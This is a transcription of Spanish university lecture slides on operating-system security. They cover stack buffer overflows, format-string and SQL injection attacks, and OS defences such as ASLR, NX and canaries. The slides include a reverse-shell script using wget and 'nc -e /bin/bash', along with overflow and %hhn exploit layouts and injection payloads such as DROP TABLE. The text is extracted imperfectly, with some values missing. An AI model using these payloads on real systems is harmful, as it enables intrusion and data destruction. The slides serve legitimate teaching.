Taller de Protección y Seguridad
|
|
- Estefania Araya Aranda
- hace 7 años
- Vistas:
Transcripción
1 Taller de Protección y Seguridad Sistemas Operativos Diego Fernandez Slezak (gracias Sabi!!!) 1 Departamento de Computación Facultad de Ciencias Exactas y Naturales Universidad de Buenos Aires SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
2 Menú del día Hoy veremos: 1 Protección de Datos 2 Seguridad informática Problemas de seguridad Exploits Vulnerabilidades clásicas Mecanismos de defensa del Sistema Operativo SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
3 Protección de Datos Protección de datos Usuarios, grupos y permisos chmod chown Demo de permisos SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
4 Advertencia Para la clase de hoy: Alto nivel: Lenguaje C a+=b; printf( Hola ); SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
5 Advertencia Para la clase de hoy: Alto nivel: Lenguaje C a+=b; printf( Hola ); Nivel medio: Assembly add eax, ebx push DWORD msg call printf SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
6 Advertencia Para la clase de hoy: Alto nivel: Lenguaje C a+=b; printf( Hola ); Nivel medio: Assembly add eax, ebx push DWORD msg call printf Bajo nivel: Bytes en hexadecimal f0: 48 6f 6c f5: 01 d8 68 f e8 1b ff ff ff SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
7 Problemas de seguridad Problemas de seguridad Dicho popular Todo programa tiene bugs hasta que se demuestre lo contrario. O - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
8 Problemas de seguridad Problemas de seguridad Dicho popular Todo programa tiene bugs hasta que se demuestre lo contrario. Veamos el primer programa de ejemplo de todo programador. primero.c #include <stdio.h> int main(int argc, char* argv[]) { printf("hola mundo!\n"); return 0; } Este parace ser correcto. O - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
9 Problemas de seguridad Problemas de seguridad Veamos el segundo programa de ejemplo de todo programador. hola.c #include <stdio.h> int main(int argc, char* argv[]) { char nombre[80]; printf("ingrese su nombre: "); gets(nombre); printf("hola %s!\n", nombre); return 0; } Este programa tiene un bug de seguridad. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
10 Problemas de seguridad Problemas de seguridad Tenemos: Bugs a secas o bugs comunes, Bugs de seguridad Cuál es la diferencia? SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
11 Problemas de seguridad Problemas de seguridad Tenemos: Bugs a secas o bugs comunes, Bugs de seguridad Cuál es la diferencia? La diferencia es sutil. Por ejemplo, para Linus Torvalds no hay diferencia 1. Bugs de seguridad Los bugs de seguridad son aquellos bugs que exponen más funcionalidad o distinta funcionalidad al usuario que la que el programa dice tener. (Funcionalidad oculta). Ejemplo (de la teórica): Un programa que manda mails de saludo de feliz cumpleaños, que además permite ejecutar cualquier comando. 1 SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
12 Problemas de seguridad Problemas de seguridad Desde el punto de vista de la correctitud: El programa escribe fuera de su memoria asignada. No interesa dónde escribe: Está fuera del buffer en cuestión. No respeta alguna precondición, postcondición, invariante, etc. Pincha, explota, se cuelga, no anda. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
13 Problemas de seguridad Problemas de seguridad Desde el punto de vista de la correctitud: El programa escribe fuera de su memoria asignada. No interesa dónde escribe: Está fuera del buffer en cuestión. No respeta alguna precondición, postcondición, invariante, etc. Pincha, explota, se cuelga, no anda. Desde el punto de vista de la seguridad: El programa hace algo que el programador no pretendía (ej: Escribir fuera del buffer.) Son importantes las cuestiones técnicas sobre qué hace de más el programa. (ej: Qué había de importante donde escribe.) SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
14 Problemas de seguridad Impacto de un bug de seguridad Las dos preguntas que siempre se hace un auditor de seguridad: 1 Qué controla el usuario? 2 Qué información sensible hay ahí? SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
15 Problemas de seguridad Impacto de un bug de seguridad Las dos preguntas que siempre se hace un auditor de seguridad: 1 Qué controla el usuario? 2 Qué información sensible hay ahí? Ejemplo: Para un programa correcto deberíamos responder: 1 El contenido del buffer nombre. 2 Nada. Ejemplo: Para un programa incorrecto deberíamos responder: 1 El contenido del buffer nombre y todas las posiciones de memoria siguientes. 2 Todos los datos guardados en la pila por las llamadas anteriores. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
16 Problemas de seguridad Ejemplo Situación antes de llamar a la función gets. Stack addr val ebp+ 8 parámetros ebp+ 4 ret-addr ebp ebp anterior ebp ebp ebp-80 nombre hola.c #include <stdio.h> int main(int argc, char* argv[]) { char nombre[80]; printf("ingrese su nombre: "); gets(nombre); printf("hola %s!\n", nombre); return 0; } 1 Qué controla el usuario? 2 Qué información sensible hay ahí? SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
17 Problemas de seguridad Impacto El usuario controla: Impacto: Toda la pila después de nombre (posiciones más altas). En particular, el return address de main (main es una función más). Controla qué se ejecutará cuando main termine con un return. Funcionalidad oculta: Permite al usuario ejecutar cualquier código que desee luego de main. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
18 Problemas de seguridad Impacto A veces el impacto puede ser diferente: Escalado de privilegios: correr con un usuario de mayor privilegio. Autenticación indebida: ingresar a la sesión de un usuario que no nos corresponde (no necesariamente conociendo las credenciales; cookie poisoning). Denial of Service: Deshabilitar el uso de un servicio para terceros (ej: se cayó el sistema ). Obtención de datos privados: base de datos de clientes, códigos de tarjetas de crédito, código fuente privado, etc. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
19 Exploits Exploits Exploit Un exploit es un programa o archivo (una API) que utiliza la funcionalidad oculta del programa vulnerable. Se dice que explota la vulnerabilidad. A veces el exploit depende de muchas cuestiones técnicas del sistema (exploit particular para una determinada arquitectura). Ejemplo: exploit de cumpleaños dameunshell.sh #!/bin/sh if [ "x$1" = "x" ]; then echo Usage: $0 target_host fi wget -O - " org; nohup nc -l -p e /bin/bash" & echo "Connecting to bash..." nc $ SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
20 Exploits Ejemplo Veamos ahora este programa: saludo.c #include <stdio.h> void saludo(void) { char nombre[80]; printf("ingrese su nombre: "); gets(nombre); printf("hola %s!\n", nombre); } int main(int argc, char* argv[]) { saludo(); return 0; } O - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
21 Exploits Test del programa Usuario normal $./saludo Ingrese su nombre: Sabi Hola Sabi! O - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
22 Exploits Test del programa Usuario normal $./saludo Ingrese su nombre: Sabi Hola Sabi! Usuario vaca $./saludo Ingrese su nombre: Muuuuuuuuuuuuuuu Hola Muuuuuuuuuuuuuuuuuuuuuuuuuuuuu Segmentation fault O - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
23 Exploits Segmentation Fault - GDB (gdb) run Ingrese su nombre: Muuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu Hola Muuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu Program received signal SIGSEGV, Segmentation fault. 0x in saludo () at saludo.c:8 8 } (gdb) info reg eax 0x80 0x80 ecx 0xbffff2c8 0xbffff2c8 edx 0x x ebx 0x283ff4 0x283ff4 esp 0xbffff34c 0xbffff34c ebp 0x x esi 0x0 0x0 edi 0x0 0x0 eip 0x x <saludo+51> (gdb) x /8x $esp 0xbffff34c: 0x x x x xbffff35c: 0x x x xbfff0075 (gdb) SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
24 Exploits Exploits Necesitamos saber en qué posición del buffer están los datos sensibles: saludo.c desensamblado <saludo>: : push ebp : mov ebp,esp : sub esp,0x a: mov eax,0x f: mov DWORD PTR [esp],eax : call : lea eax,[ebp-0x58] a: mov DWORD PTR [esp],eax d: call : mov eax,0x : lea edx,[ebp-0x58] a: mov DWORD PTR [esp+0x4],edx e: mov DWORD PTR [esp],eax : call : leave : ret Stack addr val ebp+0x08 parámetros ebp+0x04 ret-addr ebp ebp anterior ebp-0x04??? ebp-0x08??? ebp-0x0c ebp-0x58 nombre ebp-0x68 params La dirección de nombre dentro de la función es ebp-0x58. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
25 Exploits Prueba de concepto de exploit Debemos pasar como entrada un buffer de la siguiente forma: 1 80 bytes cualquiera para llenar el buffer. 2 8 bytes que se escribirán sobre los???. 3 4 bytes que se escribirán sobre el valor de ebp. (abcd) 4 4 bytes que se escribirán sobre el valor del return address. (efgh) No puedo escribir: fgets deja de leer con un fin de ĺınea o un fin de archivo. Ejemplo de buffer d 6f 6f 20 4d 6f 6f Moo Moo abcdefgh SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
26 Exploits Prueba de concepto de exploit Qué sería deseable que ocurra si pasamos este buffer como entrada? (Recordemos: pusimos efgh donde suponíamos que estaba el return address). O - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
27 Exploits Prueba de concepto de exploit Qué sería deseable que ocurra si pasamos este buffer como entrada? (Recordemos: pusimos efgh donde suponíamos que estaba el return address). Segmentation fault (Es una de las pocas veces que el objetivo es que el resultado sea Segmentation fault) O - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
28 Exploits SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
29 Exploits Exploits Ya logramos saltar a la dirección que elijamos (controlamos eip) y ahora? A dónde saltamos? SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
30 Exploits Exploits Ya logramos saltar a la dirección que elijamos (controlamos eip) y ahora? A dónde saltamos? Opción 1: Saltar a nuestro propio buffer. Opción 2: Saltar a código del programa que haga lo que nosotros queremos (por ejemplo, login ok ). Opción 3: Saltar a código suelto del programa que ejecuta parte de lo que queremos y luego permite seguir controlando el flujo (realizamos varios saltos). SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
31 Exploits stack Exploits FFFFFFFF Opción 1: return-address una dirección dentro de nuestro buffer. Saltamos dentro de nuestro buffer. No es necesario saber la dirección exacta del exploit. exploit nops eip ebp nombre SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
32 Exploits Intervalo < Vayan a tomar cafe! > \ ^ ^ \ (oo)\ ( )\ )\/\ ----w Powered by cowsay SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
33 Vulnerabilidades clásicas Vulnerabilidades Clásicas Buffer Overflow (ya la vimos) Integer Overflow Format String SQL Injection...y cada día se descubren nuevas ideas. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
34 Vulnerabilidades clásicas Integer Overflow Ocurre cuando un valor entero se pasa del tamaño de la variable donde está almacenado. No es un problema de seguridad de por sí, pero puede ser usado en combinación con otros problemas. Ejemplos: (a * b) / b == a? (a y b son int). (a+b) < a == false? (a y b son unsigned int). 1<<x - 1 es siempre 2 x 1? (x es unsigned int). int *p = buf; *buf = 0; *p-- qué efecto tiene? SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
35 Vulnerabilidades clásicas Format String Esta vulnerabilidad se basa en un mal diseño de la función printf y similares: printf("%d %s", 123, "hola"); El primer parámetro (cadena de formato) contiene información sobre cómo darle formato a los distintos parámetros. Hay opciones para mostrar un número en decimal, hexa, etc... Hay modificadores para indicar que el parámetro es de 1, 2, 4 u 8 bytes (hh, h, l); long a = 1; double pi = ; printf("a=%ld pi=%lf", a, pi); SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
36 Vulnerabilidades clásicas Format String Hay opciones para mostrar el contenido de un puntero (string o char*) hasta la primer ocurrencia de un 0. Hay modificadores para elegir qué parámetro se desea mostrar en ese punto. Ejemplo: printf("%2$d %1$s", "hola", 123); SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
37 Vulnerabilidades clásicas Format String Hay opciones para mostrar el contenido de un puntero (string o char*) hasta la primer ocurrencia de un 0. Hay modificadores para elegir qué parámetro se desea mostrar en ese punto. Ejemplo: printf("%2$d %1$s", "hola", 123); Hay una opción para escribir en el puntero pasado por parámetro cuántos caracteres fueron escritos hasta el momento en el stream. printf("%d%n%d", 123, &a, 456); Parece tener alguna limitada utilidad para realizar un parser (scanf también la tiene), pero se usa muy poco o nunca. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
38 Vulnerabilidades clásicas Format String Justo antes de realizar el call printf la situación es así: fs.c #define MAX_BUF 2048 void echo(void) { char echobuf[max_buf]; fgets(echobuf, MAX_BUF, stdin); printf(echobuf); } La dirección de echobuf dentro de la función es ebp-0x808. Stack addr val ebp+0x004 ret-addr ebp ebp anterior ebp-0x004??? ebp-0x008??? ebp-0x00c ebp-0x808 echobuf ebp-0x80c ebp-0x818 &echobuf SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
39 Vulnerabilidades clásicas Format String Qué controla el usuario? O - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
40 Vulnerabilidades clásicas stack Format String Qué controla el usuario? Controla el contenido de echobuf y controla el format string de la llamada a printf. Estrategia: Enviar en echobuf caracteres %n para escribir en memoria Enviar en el mismo buffer direcciones de memoria que vamos a usar como parámetros (puntero). Usar la variante que nos permite elegir el número de parámetro a usar. Con esto ya podemos elegir dónde escribir. %515$ %5$ %4$ %1$ format FFFFFFFF eip echobuf... &echobuf SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
41 Vulnerabilidades clásicas echobuf Format String Para escribir un número de 32bits deberíamos enviar por stdout esa cantidad de caracteres (recoredemos %n guarda la cantidad de caracteres escritos). No entran en el buffer. Usamos la variante que escribe número de 1 byte (%hhn) y aprovechamos el integer overflow para escribir de a 1 byte. %7$ %6$ %5$ %4$ exploit %7$hhn DDD...DD %6$hhn CCC...CC %5$hhn BBB...BB %4$hhn AAA...AA addr4 addr3 addr2 addr1 retaddr/eip SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
42 Vulnerabilidades clásicas Format String 1 Hacemos 4 escrituras de 1 byte. 2 Usamos este esquema de escritura para sobreescribir información sensible: return address. 3 Saltamos a otro código: Cuál? 4 Ponemos al final del buffer nuestro exploit y saltamos a esa posición. El buffer quedaría así: addr 1 addr 2 addr 3 addr 4 AA...AA%6$hhn BB...BB%7$hhn CC...CC%8$hhn DD...DD%9$hhn paa...aaading codigo SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
43 Vulnerabilidades clásicas SQL Injection Una vulnerabilidad clásica, variante del control de parámetros, es SQL injection. Ejemplo de consulta a una base de datos: SELECT * FROM usuarios WHERE login= $USER AND pass= $PASS, donde $USER y $PASS son controlados por el usuario. Si hay una entrada en la base de datos con esas credenciales, el SELECT lo devuelve. Seguro? SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
44 Vulnerabilidades clásicas SQL Injection Una vulnerabilidad clásica, variante del control de parámetros, es SQL injection. Ejemplo de consulta a una base de datos: SELECT * FROM usuarios WHERE login= $USER AND pass= $PASS, donde $USER y $PASS son controlados por el usuario. Si hay una entrada en la base de datos con esas credenciales, el SELECT lo devuelve. Seguro? Si el usuario ingresara: USER: admin PASS: nose OR 1 = 1 Qué pasaría? SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
45 Vulnerabilidades clásicas SQL Injection La consulta queda conformada así: SELECT * FROM usuarios WHERE login= admin AND pass= nose OR 1 = 1. El reemplazo de realiza en el programa y la consulta ya reemplazada se envía a la base de datos. El SELECT devuelve la entrada de la base de datos aún cuando el password ingresado no era el correcto. El programa asume que el password era correcto porque el SELECT devolvió la entrada. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
46 Vulnerabilidades clásicas SQL Injection - Impacto El impacto puede ser diferente: Escalado de privilegio o Login indebido. Destrucción de datos: (ejemplo, PASS: ; DROP TABLE usuarios; -- ). Obtención de datos privados. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
47 Vulnerabilidades clásicas SQL Injection (xkcd.com) Robert ); DROP TABLE Students; -- alias Little Bobby Tables. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
48 Mecanismos de defensa del Sistema Operativo Herramientas del SO para protegernos (de uno mismo) Algunos Sistema Operativos implementan algunos de estos (o todos) mecanismos para proteger de problemas de seguridad. Stack randomization Code randomization y lib randomization NX bit y páginas no ejecutables Root-jails () Monitoreo de Syscalls Otras herramientas son implementadas por el compilador o intérprete Otros: Canario Tainted data UML (User-Mode Linux) Virtual Machine SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
49 Mecanismos de defensa del Sistema Operativo Stack randomization Consiste en cargar el inicio de la pila en una posición de memoria al azar (dentro de un rango). Sólo el inicio de la pila es tomado al azar (todas las posiciones relativas se mantienen fijas). Se implementa en el kernel (o loader). Sólo se randomiza al iniciar el proceso (podríamos averiguar el inicio de la pila con un ataque y usarlo luego para otro ataque sobre el mismo proceso). En espacios de memoria reducidos (ejemplo, 32 bits), el rango sobre el que se randomiza el stack es reducido (ejemplo, 28 bits). Hace más difícil los ataques que requieren saber la dirección del propio buffer en memoria. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
50 Mecanismos de defensa del Sistema Operativo Lib randomization Consiste en cargar en memoria (virtual) las librerías del sistema en lugares al azar. Se implementa en el loader de librerías. Tipicamente, las librerías del sistema se cargan sólo una vez en la ejecución de todo el sistema. En algunas implementaciones esta aleatorización se realiza sólo una vez en cada ejecución del sistema (no del proceso). Dificulta los ataques que requieren saltar a una función de biblioteca (ejemplo: execpl, etc.) SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
51 Mecanismos de defensa del Sistema Operativo Code randomization Consiste en cargar en memoria (virtual) el código de usuario (section.text) en una posición al azar. Se implementa colaborativamente en el compilador y en el kernel. El compilador debe generar código que pueda ser colocado en cualquier posición de memoria (todas todas todas las direcciones relativas). Se randomiza una vez por carga del proceso. No puede randomizarse nuevamente al hacer fork (el hijo puede hacer return). SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
52 Mecanismos de defensa del Sistema Operativo NX bit y páginas no ejecutables Consiste en marcar como no-ejecutable las porciones de memoria que no deberían ser ejecutables (ej: datos, stack). Requiere soporte del hardware para realizarse eficientemente. Procesadores x86 64 y algunos x86 más nuevos proveen una extensión de la unidad de paginación con un NX bit (No-eXecutable) para cáda página. Algunos sistemas utilizan el antiguo esquema de segmentos para este propósito. Se implementa en el kernel, pero por compatibilidad no viene en todos los sistemas. Una estrategia similar es además marcar como sólo-lectura el código ejecutable. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
53 Mecanismos de defensa del Sistema Operativo Root-jail Consiste en cambiar la visión del sistema de archivos disponible para el proceso. Todas las operaciones sobre archivo (open, etc.) sobre el directorio / se corresponden con operaciones sobre un subdirectorio (la jaula) del sistema de archivos real. Es útil para aislar procesos de otra información sensible presente en el sistema: Si un usuario compromete ese proceso, sólo tiene acceso No enjaula las demás syscalls (se puede ver la lista de procesos de todo el sistema, etc, etc) SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
54 Mecanismos de defensa del Sistema Operativo Monitoreo de Syscalls Consiste en restringir el conjunto de syscalls disponible para el proceso. Ejemplo: Un proceso que realiza tareas locales no debe poder acceder a la syscall socketcall (socket, bind, listen, etc). Se implementa principalmente en el kernel, pero debe configurarse (desde el usuario). Cada proceso tiene su perfil de ejecución (conjunto de llamadas permitidas). Algunas implementaciones proveen mucha granularidad en el perfil de ejecución (validación de ciertos parámetros). Degrada la performance general del sistema. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
55 Mecanismos de defensa del Sistema Operativo Canario Se coloca un valor testigo (un canario) en la pila justo a continuación del return address de cada función. Usualmente un valor 0x000d0a00. Antes de retornar de la función se verifica que el valor del canario escrito sea correcto. Previene de buffer overflows, dado que muchas funciones (como gets, printf, etc) dejan de procesar la cadena cuando aparece un caracter 0x00 (NULL), 0x0d (retorno de carro), 0x0a (fin de linea). Se implementa enteramente en el compilador. No hay forma de implementarlo desde el kernel. Se llama canario en referencia a los canarios que se colocaban en las minas. Ante el primer problema el canario era lo primero que se moría. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
56 Mecanismos de defensa del Sistema Operativo Tainted data Consiste en agregar a cada variable del programa, información sobre si está manchada o no. Todos los datos ingresados por el usuario son datos sucios. Ciertas funciones limpian estos datos. Ejemplo: limpio = "\"" + addslashes(sucio) + "\""; Se prohiben ciertas funciones sobre datos sucios (como una consulta a una base de datos). Se implementa completamente en el compilador o intérprete. En algunos lenguajes es practicamente imposible de implementar, en otros es más simple (como Perl o PHP). Previene de inyección de código o comandos en tiempo de ejecución. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
57 Mecanismos de defensa del Sistema Operativo UML - User-Mode Linux Consiste en ejecutar un kernel guest como si fuera un proceso más del sistema real. Provee una separación del kernel real del sistema contra un kernel guest usado para ejecutar una aplicación o conjunto de aplicaciones dentro (Ej: un web-server). Cualquier fallo (incluso del kernel guest) se queda aislado dentro del proceso que corre el kernel guest. No previene contra acciones legítimas del kernel guest. Si se toma control a nivel de kernel del kernel guest, se tiene control de nivel usuario del proceso de la máquina real que lo ejecuta. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
58 Mecanismos de defensa del Sistema Operativo Virtual Machine Es similar a la idea de UML, llevada a la emulación de la máquina completa. El Sistema Operativo invitado (virtualizado) es un sistema operativo normal y no tiene diferencia con ejecutar en una máquina real. Nuevamente no previene contra acciones legítimas de la máquina virtual (acceder a la red, etc.) Si se toma control de la máquina virtual, se podría intentar explotar una vulnerabilidad del propio software que corre la máquina virtual (Xen, Qemu, KVM, VMware, etc...) para tomar control de la máquina real. SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
59 Mecanismos de defensa del Sistema Operativo Otros paradigmas de seguridad informática Defensa: SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
60 Mecanismos de defensa del Sistema Operativo Ataques de seguridad alternativos (xkcd.com) Ataque: SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
61 Mecanismos de defensa del Sistema Operativo Ejercicio ENTREGABLE: El siguiente programa evalúa su entrega de este taller, la cual se pasa por entrada standard. Su tarea es aprobar esta entrega. entrega.c #include <stdio.h> void entrega(void) { char admin[32], hash[32], pass[64]; memcpy(admin, "572ce02c83f90d47764f3f2c0c675ada", sizeof(admin)); memset(pass, 0, sizeof(pass)); /* Pregunta el nombre del grupo */ printf("grupo: "); gets(pass); /* Muestra el nombre del grupo */ fwrite(pass, 1, sizeof(pass), stdout); printf("\n"); /* Calcula el hexadecimal (en minscula) del nombre del grupo en digest */ md5_buf_to_hex(pass, sizeof(pass), hash); /* Verifica el md5 */ if (memcmp(hash, admin, 32) == 0) printf("nota: APROBADO\n"); else printf("nota: NO APROBADO\n"); } int main(void) { entrega(); return 0; } SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50
62 Mecanismos de defensa del Sistema Operativo Say moo SO - Taller de Seguridad (DC - FCEyN - UBA) Taller de protección y seguridad 1er cuat / 50 Agradecimientos
Demo de permisos. Hola! Taller de Protección y Seguridad
Hola! Taller de Protección y Seguridad Sistemas Operativos Alejandro Deymonnaz 1 1 Departamento de Computación Facultad de Ciencias Exactas y Naturales Universidad de Buenos Aires Hola! Soy Alejandro Deymonnaz.
Seguridad. Felipe Andres Manzano FaMAF - Universidad Nacional de Córdoba - Argentina
Seguridad Felipe Andres Manzano felipe.andres.manzano@gmail.com FaMAF - Universidad Nacional de Córdoba - Argentina 2011 Se puede ganar?? i n t main ( ) { i n t cookie ; char buf [ 8 0 ] ; gets ( buf )
Exploiting... Stack Based Buffer Overflow
Exploiting... Stack Based Buffer Overflow FAMAF UNC November 10, 2015 Se puede ganar? int main () { int cookie ; char buf [80]; } gets ( buf ); // Lee hasta el primer... if ( cookie == 0 x41424344 ) printf
Administración de memoria: Memoria y seguridad
Índice Introducción 1 Introducción 2 3 4 Seguridad? Introducción En un sistema de cómputo, no podemos asumir la mejor intención Un sistema puede tener distintos usuarios, el sistema protege a los datos
Taller de Sistemas Operativos. System Calls 2012
Taller de Sistemas Operativos System Calls 2012 Agenda Conceptos generales La API POSIX y las System Calls Syscalls System Call Handler Como implementar una System Call Contexto de una System Call Utilizar
Programas de ordenador (software)
Programas de ordenador (software) Jorge Juan Chico , Julián Viejo Cortés 2011, 2014, 2015 Departamento de Tecnología Electrónica Universidad de Sevilla Usted es libre
Pila / Convención C / Interacción C-ASM. Ejercicios. Pila. Organización del Computador II. 21 de marzo de 2017
Organización del Computador II 21 de marzo de 2017 / / Hoy vamos a ver / / Para ponernos de acuerdo... Está en memoria. RSP y RBP la definen. Crece númericamente para atrás. / / Cómo la usamos? PUSH y
Lenguaje C. República Bolivariana de Venezuela Fundación Misión Sucre Aldea Fray Pedro de Agreda Introducción a la Programación III
República Bolivariana de Venezuela Fundación Misión Sucre Aldea Fray Pedro de Agreda Introducción a la Programación III Lenguaje C 1 Puntos previos Los códigos fuentes generados en C requieren ser compilados
Cap.2. Kernel Sistemas Operativos - Viña del Mar.
Cap.2. Kernel Sistemas Operativos - Viña del Mar. Maximiliano Osorio mosorio@inf.utfsm.cl Universidad Técnica Federico Santa Maria 19 de agosto de 2017 1 / 44 Tabla de contenidos 1 Proceso Protección de
Examen Teórico (1/3 de la nota final)
Examen Teórico (1/3 de la nota final) 105000016 - Programación para Sistemas Grado en Ingeniería Informática (2009) Lenguajes y Sistemas Informáticos e Ingeniería de Software Facultad de Informática Universidad
Informática PRÀCTICA 9 Curs Práctica Nº 9: Rango y precisión de representación de números en el ordenador.
Departamento de Práctica Nº 9: Rango y precisión de representación de números en el ordenador. Uso de punteros Objetivos de la práctica: - Entender la representación de números (enteros y reales) en el
Entender los aspectos técnicos, por los cuales un intruso puede ingresar a un sistema y tomar el control de este
COMO PENETRAR UN SISTEMA POR MEDIO DE DESBORDAMIENTO DE BUFFER OBJETIVO Entender los aspectos técnicos, por los cuales un intruso puede ingresar a un sistema y tomar el control de este AGENDA Programas
Introducción a C++ y Code::Blocks
Introducción a C++ y Práctica Imperativo Clase 1 Luis Agustín Nieto Departamento de Computación, FCEyN,Universidad de Buenos Aires. 28 de mayo de 2010 Menu de esta Tarde Funcional Vs. Imperativo (Intérprete
PRÁCTICA # 2. 0 Direcciones 1 Dirección 2 Direcciones 3 Direcciones
UNIVERSIDAD CENTRAL DE VENEZUELA FACULTAD DE CIENCIAS ESCUELA DE COMPUTACIÓN UNIDAD DOCENTE DE REDES, ARQUITECTURA Y SISTEMAS ORGANIZACIÓN Y ESTRUCTURA DEL COMPUTADOR I PRÁCTICA # 2 1. Escriba programas
Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13
Práctico Seguridad Sistemas Operativos Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13 1) Suponga que se previene la ejecucion de datos localizados en la pila de una funcion (osea,
Introducción a Sistemas Operativos: Ficheros
Introducción a Sistemas Operativos: Ficheros Clips Fr ancisco J Ballesteros 1. Entrada/Salida Es importante saber cómo utilizar ficheros. En UNIX, es aún más importante dado que gran parte de los recursos,
El lenguaje de Programación C. Fernando J. Pereda <ferdy@gentoo.org>
El lenguaje de Programación C Fernando J. Pereda Por qué aprender C? Portable y muy extendido Estándar (C89, C99) El lenguaje de los sistemas Un lenguaje fácil (no, no es broma) Por
adreça lògicacontingut (en hexadecimal) dels 8 bytes a partir de l adreça lògica
Solución al Problema 1 a) Suponer los siguientes contenidos de memoria: adreça lògicacontingut (en hexadecimal) dels 8 bytes a partir de l adreça lògica 0020h:0008h FC 00 1A 23 19 00 20 00 0020h:0010h
TEMA 2. LENGUAJE C. CONCEPTOS BÁSICOS Y PROGRAMACIÓN ELEMENTAL.
